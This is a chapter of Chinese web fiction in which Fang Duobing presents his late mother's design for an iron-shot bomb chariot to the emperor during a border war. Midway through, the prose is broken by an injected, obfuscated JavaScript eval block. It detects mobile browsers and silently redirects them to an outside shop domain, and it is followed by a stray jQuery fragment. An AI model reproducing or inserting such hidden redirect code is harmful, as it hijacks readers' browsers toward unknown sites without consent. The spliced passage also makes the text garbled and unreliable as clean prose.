皇帝胸膛剧烈起伏,强压下立刻将陆琰拖出去砍了的冲动。
喝道:“镇北大将军何远知!即刻点齐五万京师精锐,火速开赴边境,不得有误!”
皇帝余怒未消:“大理寺、刑部!即刻联手,给朕彻查此次边关失利的缘由!凡有玩忽职守、通敌卖国者,无论涉及到谁,给朕揪出来,斩立决,夷九族!”
何远知深吸一口气,出列领命,他刚毅的脸上满是凝重:“陛下,末将领命!只是……我军将士即便浴血奋战,以命相搏,恐怕……伤亡数字亦会触目惊心!末将……!”
皇帝站起身,一步步迈下玉阶,沉重的脚步声在寂静中回响。
他停在何远知面前,目光灼灼地盯着这位老将:“朕的心也在滴血!但仗,必须打赢!何爱卿,总有一天,朕要亲见王师踏平西高王庭!”
“眼下,朕不管你用什么方法,付出何等代价,必须给朕把西高贼寇赶出去,收复失地,保我边境安宁,扬我国威!”
何远知跪地山呼万岁。
皇帝又转向户部尚书方则士,目光锐利如刀:“方爱卿!粮草、军饷、器械,朕要你户部即刻调配,全力保障大军供给!若有半分延误,或缺斤短两,朕,唯你是问!”
方则士慌忙出列:“臣,遵旨!”
边境战事一起,钱粮如同流水,他正焦头烂额地盘算着如何调度,殿门却在此时被推开。
总管太监王晶脚步匆匆而入,跪地禀报,声音带着紧张:“陛下,天机堂少堂主,方多病,于殿外求见,称有十万火急之事,关乎边关战局!”
方则士闻言,眉头瞬间拧成了疙瘩。
这小子!他知道边境危急,也知道天机堂擅长机关之术,可这是什么场合?
陛下正在盛怒之中,万一言语不慎,岂不是引火烧身?
皇帝冷电般的目光扫过方则士略显慌乱的脸,看不出情绪,只淡淡道:“宣。”
殿门再次开启,方多病解下随身佩剑“尔雅”交给殿前侍卫,迈步走入这象征着天下权力核心的大殿。
他身姿依旧挺拔,面容仍带着少年人的清俊,但眉宇间那份曾经的飞扬跳脱已然沉淀,取而代之的是一种经历变故后的沉稳与挥之不去的疲惫忧伤。
“草民方多病,参见陛下。”他撩衣跪下,行礼如仪,声音平静无波。
皇帝居高临下,声音里听不出喜怒:“方多病,你有何要事,非要在朕与群臣商议军国大事之时求见?”
方多病没有抬头,沉稳地从袖中取出一卷色泽略显陈旧的丝绢,双手高高举起:“回陛下,草民是替已故家母,天机堂前堂主何晓惠,向陛下献上此物。此乃家母呕心沥血之作,或可助我大熙将士,抗衡西高利刃,解边关危局。”
一旁侍立的小太监连忙上前,小心翼翼接过那卷看似普通的丝绢,躬身呈到皇帝面前。
皇帝目光带着审视,徐徐展开。
随着图纸完全展现,他如常的眼神精光乍现,呼吸都不由自主地急促!
丝绢上,绘制的是一种结构极其复杂精妙的战车图谱,旁边密密麻麻标注着材质、重量、驱动方式、人员配置,甚至攻击效能!
其构思之奇巧,设计之大胆,远超当下工部所制任何器械!
“好!好!好!”皇帝猛地抬头,连道三声好,脸上抑制不住地焕发出兴奋的光彩。他亲自来到方多病面前,俯身亲手将他扶起,用力拍了拍他的肩膀。
“方多病!你母亲……何晓惠!当真给朕,给大熙,送来了一场逆转乾坤的及时雨!功在社稷!”
这一举动,让满朝文武尽皆愕然,面面相觑。
方则士更是瞪大了眼睛,难以置信地看着儿子和皇帝,心头疑窦丛生,晓惠她……何时研制了此等利器?
皇帝将图纸递给方多病,朗声道:“方多病,此物既是何堂主心血,便由你来讲与诸位爱卿听听!”
方多病接过那沉甸甸的丝绢,转向殿内众臣,缓缓展开。
图纸上精密的线条与符号,在殿内烛火映照下,恍若有光。
“此物,名为‘卸甲车’。”方多病的声音带着一丝不易察觉的哽咽,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606009|205721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仿佛又看到了母亲在灯下殚精竭虑、反复演算的身影。
“家母……自多年前得知西高兵刃附加精石矿,可轻易刺穿我军盔甲,致使近战搏杀时我军儿郎伤亡惨重,便立誓要造一远程克敌之物。”
他的指尖划过图纸上那些巧妙的构件:“为此,她翻遍了天机堂所有古籍秘录,借鉴追云车、咸日辇,耗费数年光阴,无数次试验改进,终成此车。”
他详细解释道:“此车核心骨架以百炼精钢铸就,关键部位更以精铁包裹,坚固异常。底部设有独特机关,可升降、调节车轮,无论是平原旷野,还是山地坡坎,皆能灵活机动。车内核心,装载特制改良的‘雷火弹’,混入了无数细如牛毛的铁砂。”
方多病目光扫过凝神倾听的群臣,声音提高:“临阵对敌时,可先以此卸甲车进行数轮齐射。雷火爆发,万千铁砂激射而出,覆盖面极广,穿透力极强,足以在敌军冲锋阵型中撕开巨大缺口,待敌军阵脚大乱,伤亡惨重之时,我军铁骑再趁机掩杀,便可事半功倍!”
他顿了顿,语气更加沉痛却也带着一丝希望:“如此,不仅能极大削弱敌军优势,更能最大限度保全我大熙将士的性命!而且,战后清扫战场,还可收缴西高断裂损毁的兵刃,提炼其中蕴含的精石矿料,转而为我所用,以彼之矛,攻彼之后!”
方多病话音落下,大殿内先是一片寂静,随即爆发出难以抑制的激动议论声。
方才笼罩在众人心头的阴霾与绝望,仿佛被这道图纸撕开了一道口子,透进了希望的光!
群臣纷纷跪倒在地,由衷地山呼:“陛下圣明!天佑大熙!”
皇帝抚掌大笑,意气风发,转头看向一旁因震惊和追忆亡妻而神情恍惚、悄然拭泪的方则士。
“方爱卿!你养了一个好儿子!更有一位心怀家国、智慧超群的好夫人!何堂主虽已仙去,然此功彪炳千秋!待边关危机解除,朕必重重褒奖你方氏满门!”
殿外狂风骤起,卷动檐下旌旗猎猎作响,那呼啸的风声,仿佛已化作卸甲车未来的轰鸣与边关将士反击的呐喊。